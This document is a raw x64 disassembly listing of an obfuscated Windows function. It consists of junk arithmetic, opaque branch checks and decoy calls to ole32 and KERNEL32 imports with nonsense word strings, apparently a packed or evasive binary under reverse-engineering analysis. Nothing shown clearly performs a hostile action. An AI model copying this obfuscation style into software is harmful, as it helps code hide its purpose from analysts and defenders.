mov byte [rcx], al
movzx eax, word [rsp + 0x16c4]
xor eax, 0xe78
mov word [rsp + 0x16c4], ax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
shl eax, cl
mov byte [0x140288008], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x233]
and eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
movabs rax, 0xd318f39469ac24bb
mov rcx, qword [rsp + 0x9c50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c50], rax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5448]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5400], eax
movabs rax, 0x3b917353377c06ca
mov rcx, qword [rsp + 0x9c50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c50], rax
movsx eax, byte [rsp + 0x234]
movsx ecx, byte [rsp + 0x231]
add eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movsx eax, byte [0x140288008]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
sub eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x230]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5404]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5428], eax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x232]
xor eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x12a]
or eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov rax, qword [rsp + 0x9578]
sar rax, 0x3f
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
shl eax, cl
mov byte [rsp + 0x231], al
movzx eax, word [rsp + 0x16c4]
sub eax, 0x3f8
mov word [rsp + 0x16c4], ax
movsx eax, byte [rsp + 0x234]
movsx ecx, byte [rsp + 0x231]
add eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x233]
and eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
sub eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov eax, dword [rsp + 0x5448]
mov ecx, dword [rsp + 0x53f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5400], eax
movabs rax, 0xc3cc85f4f9378a1f
mov rcx, qword [rsp + 0x9c50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c50], rax
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5404]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5428], eax
movabs rax, 0x1316845a882a22ac
mov rcx, qword [rsp + 0x9578]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
add eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
cmp dword [rsp + 0x5424], 0x12bfe
jne 0x140058bfd
mov eax, dword [rsp + 0x5400]
mov ecx, dword [rsp + 0x5448]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x53f8]
jne 0x1400590dc
mov ecx, 0x72
call qword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [rsp + 0x544c], eax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov byte [rsp + 0x233], al
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x232]
xor eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [0x140288008]
or eax, ecx
mov byte [rsp + 0x234], al
mov eax, dword [rsp + 0x5448]
movzx ecx, al
mov eax, dword [rsp + 0x5400]
shl eax, cl
cmp eax, dword [rsp + 0x53f8]
jge 0x140239bfa
mov eax, dword [rsp + 0x5404]
mov ecx, dword [rsp + 0x53f0]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x5428]
ja 0x1400591c1
movzx eax, word [rsp + 0x16c4]
mov word [rsp + 0x16c8], ax
movzx eax, word [rsp + 0x16c8]
mov dword [rsp + 0x5450], eax
cmp dword [rsp + 0x5450], 0x687
je 0x140059149
jmp 0x140059158
mov ecx, dword [rsp + 0x5428]
call fcn.14023a980
nop
jmp 0x1400591b6
lea rax, [rsp + 0x234]
mov qword [rsp + 0x9c58], rax
movzx eax, byte [rsp + 0x230]
mov byte [0x140289810], al
movzx eax, word [rsp + 0x16c4]
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0x9578]
mov qword [rsp + 0x9c60], rax
lea rax, [rsp + 0x5448]
mov qword [rsp + 0x9c68], rax
lea rax, [rsp + 0x9c50]
mov qword [rsp + 0x9c70], rax
mov dword [rsp + 0x5454], 0x4e1a
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5428]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
mov dword [rsp + 0x5458], 0x2a6b
mov dword [rsp + 0x545c], 0x665a
lea rax, [rsp + 0x230]
mov qword [rsp + 0x9c78], rax
movzx eax, byte [rsp + 0x12a]
mov byte [rsp + 0x235], al
mov eax, 0x4e5a
mov word [rsp + 0x16d0], ax
movabs rax, 0xa83ec18f303d4ea9
mov rcx, qword [rsp + 0x9c50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x9c70]
movabs rcx, 0x2efeb14617bf1479
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c50], rax
mov eax, dword [rsp + 0x5404]
movzx ecx, al
mov eax, dword [rsp + 0x5428]
shl eax, cl
mov dword [rsp + 0x53f0], eax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5448]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5400]
mov ecx, dword [rsp + 0x53f8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
sar eax, cl
mov byte [rsp + 0x231], al
movsx eax, word [rsp + 0x16d0]
and eax, 0x43d9
mov word [rsp + 0x16d0], ax
movzx eax, word [rsp + 0x16c8]
movzx ecx, word [rsp + 0x16c4]
add eax, ecx
mov word [rsp + 0x16cc], ax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov byte [0x140289810], al
movsx eax, byte [rsp + 0x235]
movsx ecx, byte [rsp + 0x231]
add eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
mov eax, dword [rsp + 0x5404]
mov ecx, dword [rsp + 0x53f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5428], eax
movabs rax, 0x43c04606d7acf669
mov rcx, qword [rsp + 0x9c60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x9c70]
movabs rcx, 0x409ae65c994f88ab
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c50], rax
mov eax, dword [rsp + 0x5448]
mov ecx, dword [rsp + 0x5400]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
movzx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x232], al
mov eax, dword [rsp + 0x541c]
add eax, 0x9f
mov dword [rsp + 0x541c], eax
movsx eax, word [rsp + 0x16d0]
sub eax, 0x5558
mov word [rsp + 0x16d0], ax
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [0x140289810]
or eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5400]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
cmp dword [rsp + 0x541c], 0x80e1
jb 0x14005921c
mov eax, dword [rsp + 0x5448]
mov rcx, qword [rsp + 0x9c68]
mov qword [rsp + 0x9c80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9c80]
mov eax, dword [rax]
shl eax, cl
mov ecx, dword [rsp + 0x5400]
mov edx, dword [rsp + 0x53f8]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140239a35
movzx eax, word [rsp + 0x16c4]
mov dword [rsp + 0x5460], eax
cmp dword [rsp + 0x5460], 0x4c0
je 0x14005952c
cmp dword [rsp + 0x5460], 0xc86
je 0x1400594d7
jmp 0x1400595da
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x233]
shl eax, cl
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c58]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x9c28]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x9c28]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x231]
call fcn.140239e10
nop
jmp 0x1400595da
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
xor eax, ecx
mov byte [0x140289810], al
mov rax, qword [rsp + 0x9c68]
mov eax, dword [rax]
mov dword [rsp + 0x5464], eax
cmp dword [rsp + 0x5464], 0x39123114
je 0x140059567
jmp 0x1400595bd
lea rdx, [rsp + 0x9c88]
lea rcx, [rsp + 0x2b0e8]
call qword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [rsp + 0x5468], eax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x5400]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x53f0]
movzx ecx, al
mov eax, dword [rsp + 0x5428]
shr eax, cl
mov dword [rsp + 0x5404], eax
jmp 0x1400595da
lea rdx, [rsp + 0x2bb60]
lea rcx, str.consecratingFilly
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x9c40], rax
cmp dword [rsp + 0x53f4], 0x904b
jbe 0x140059a9a
mov rax, qword [rsp + 0x9c70]
movabs rcx, 0xcc4ddf9327bfe150
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x233]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5448]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x230]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x230], al
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5404]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5428], eax
mov rax, qword [rsp + 0x9c70]
mov rax, qword [rax]
shl rax, 0xd
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x9c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5448]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5400], eax
movabs rax, 0x7d45408745b208fc
mov rcx, qword [rsp + 0x9c60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
movsx eax, word [rsp + 0x16d0]
add eax, 0x7ff
mov word [rsp + 0x16d0], ax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5400]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
movabs rax, 0xcbefaebc693a8f77
mov rcx, qword [rsp + 0x9c50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x230], al
mov eax, dword [rsp + 0x5428]
mov ecx, dword [rsp + 0x5404]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f0], eax
mov rax, qword [rsp + 0x9c70]
movabs rcx, 0x867aca78ca8859f5
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [0x140288008]
add eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x5448]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [0x140288008]
sub eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movabs rax, 0x86dcef825e97d5b4
mov rcx, qword [rsp + 0x9c50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
movsx eax, word [rsp + 0x16d0]
shl eax, 0xe
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
movzx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5400]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5448], eax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x233]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c70]
movabs rcx, 0x24799d98493c0cd2
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x231]
add eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov eax, dword [rsp + 0x53f4]
sub eax, 0x2d
mov dword [rsp + 0x53f4], eax
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140289810], al
movsx eax, word [rsp + 0x16d0]
add eax, 0x7344
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9c70]
movabs rcx, 0xba13b2bc40c51ef1
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x5400]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5448], eax
mov eax, dword [rsp + 0x5448]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x232]
sar eax, cl
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
jmp 0x1400595da
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x233]
or eax, ecx
mov byte [rsp + 0x232], al
movzx eax, byte [rsp + 0x234]
mov byte [rsp + 0x546c], al
cmp byte [rsp + 0x546c], 0
je 0x140059ad1
jmp 0x140239983
movzx eax, word [rsp + 0x16c4]
mov dword [rsp + 0x5470], eax
cmp dword [rsp + 0x5470], 0x3b0c
je 0x140059af2
jmp 0x140059c0e
lea rax, [rsp + 0x5404]
mov qword [rsp + 0x9c90], rax
mov dword [rsp + 0x5474], 0x8993
mov dword [rsp + 0x5478], 0xd3c1
mov dword [rsp + 0x547c], 0xe792
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9c50]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x9600], rax
movsx eax, word [rsp + 0x16d0]
mov dword [rsp + 0x5480], eax
cmp dword [rsp + 0x5480], 0x5bad
je 0x140059b63
jmp 0x140059c09
movabs rax, 0x47da1197ac394206
mov rcx, qword [rsp + 0x9578]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c60], rax
movzx eax, word [rsp + 0x16c8]
mov dword [rsp + 0x5484], eax
cmp dword [rsp + 0x5484], 0xd89
je 0x140059ba1
jmp 0x140059bef
mov edx, 1
lea rcx, [rsp + 0x5420]
call qword [sym.imp.ole32.dll_OleGetIconOfFile]
mov qword [rsp + 0x9c98], rax
movzx eax, byte [0x140289810]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x233]
mov r8d, dword [rsp + 0x53f8]
movzx edx, byte [rsp + 0x233]
mov ecx, dword [rsp + 0x5448]
call fcn.14023bc60
nop
jmp 0x140059c09
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16cc]
sub eax, ecx
mov word [rsp + 0x16c8], ax
jmp 0x140059ca5
mov dword [rsp + 0x28], 0x2a
lea rax, [rsp + 0x5400]
mov qword [rsp + 0x20], rax
mov r9d, 0xfa
lea r8, [rsp + 0x9c60]
mov edx, 0x5c
lea rcx, str.RepaintedDensitometry_froward
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov qword [rsp + 0x9c20], rax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x235]
sub eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movzx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x232], al
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
cmp dword [rsp + 0x5458], 0x3ca8
jae 0x14005a0ab
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16c8]
sub eax, ecx
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5404]
shl eax, cl
mov dword [rsp + 0x5428], eax
mov eax, dword [rsp + 0x5448]
movzx ecx, al
mov eax, dword [rsp + 0x5400]
sar eax, cl
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9600]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c50], rax
movabs rax, 0x17a755186e3b567b
mov rcx, qword [rsp + 0x9c60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [0x140289810]
sub eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16c8]
add eax, ecx
mov word [rsp + 0x16cc], ax
mov eax, dword [rsp + 0x5458]
add eax, 0xa1
mov dword [rsp + 0x5458], eax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
sub eax, ecx
mov byte [0x140288008], al
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5428]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9600]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x9c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5448], eax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5404]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5428], eax
movabs rax, 0x4887c774d929e731
mov rcx, qword [rsp + 0x9c60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [0x140289810]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
movsx eax, word [rsp + 0x16d0]
sar eax, 9
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x235]
xor eax, ecx
mov byte [0x140288008], al
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16c8]
or eax, ecx
mov word [rsp + 0x16cc], ax
mov eax, dword [rsp + 0x5428]
mov ecx, dword [rsp + 0x5404]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5400]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5448], eax
movabs rax, 0x4862882be2ed497b
mov rcx, qword [rsp + 0x9c60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9600]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c50], rax
movsx eax, word [rsp + 0x16d0]
sub eax, 0x6d04
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x231], al
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x233]
sub eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5400]
mov ecx, dword [rsp + 0x5448]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x9c70]
mov qword [rsp + 0x9ca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ca0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9c70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5428]
shl eax, cl
mov dword [rsp + 0x5404], eax
movabs rax, 0x62f3078e01aa8b36
mov rcx, qword [rsp + 0x9c60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
movsx eax, word [rsp + 0x16d0]
or eax, 0x2e04
mov word [rsp + 0x16d0], ax
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x235]
and eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
jmp 0x140059ca5
mov rax, qword [rsp + 0x9c58]
movzx eax, byte [rax]
mov byte [rsp + 0x5488], al
cmp byte [rsp + 0x5488], 0
je 0x14005a136
cmp byte [rsp + 0x5488], 0x58
je 0x14005a0d6
jmp 0x14005a21f
mov ecx, 0xe5
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov dword [rsp + 0x5448], eax
movsx eax, word [rsp + 0x16d0]
cmp eax, 0x61bb
jl 0x14005a12b
movsx eax, word [rsp + 0x16d0]
add eax, 0x47e6
mov word [rsp + 0x16d0], ax
movzx eax, byte [rsp + 0x233]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
call fcn.14023a860
nop
jmp 0x14005a21f
mov rax, qword [rsp + 0x9578]
mov qword [rsp + 0x9ca8], rax
movabs rax, 0x1c5ff99539575438
cmp qword [rsp + 0x9ca8], rax
je 0x14005a203
movabs rax, 0x71e583d48980a99a
cmp qword [rsp + 0x9ca8], rax
je 0x14005a177
jmp 0x14005a21f
movzx eax, byte [rsp + 0x232]
mov byte [rsp + 0x548c], al
cmp byte [rsp + 0x548c], 0
je 0x14005a192
jmp 0x14005a1e1
movzx eax, byte [0x140289810]
mov byte [rsp + 0x236], al
mov eax, dword [rsp + 0x5404]
mov ecx, dword [rsp + 0x5428]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f0], eax
mov dword [rsp + 0x5490], 0x1185
lea rax, [rsp + 0x5400]
mov qword [rsp + 0x9cb0], rax
mov dword [rsp + 0x5494], 0x411c
jmp 0x14005a201
movabs rax, 0x363095c92234cd1a
mov rcx, qword [rsp + 0x9c60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
jmp 0x14005a21f
lea rdx, [rsp + 0x2b0f8]
lea rcx, str.Tightness_trumpeting_overtops_reciprocals
call qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [rsp + 0x5498], eax
lea rax, [rsp + 0x9600]
mov qword [rsp + 0x9cb8], rax
lea rax, [rsp + 0x16c8]
mov qword [rsp + 0x9cc0], rax
lea rax, [rsp + 0x16d0]
mov qword [rsp + 0x9cc8], rax
cmp dword [rsp + 0x547c], 0xb225
jb 0x14005a566
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x230]
sub eax, ecx
mov byte [rsp + 0x236], al
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x231]
add eax, ecx
mov byte [0x140288008], al
movzx eax, word [rsp + 0x16c8]
movzx ecx, word [rsp + 0x16c4]
and eax, ecx
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
sub eax, ecx
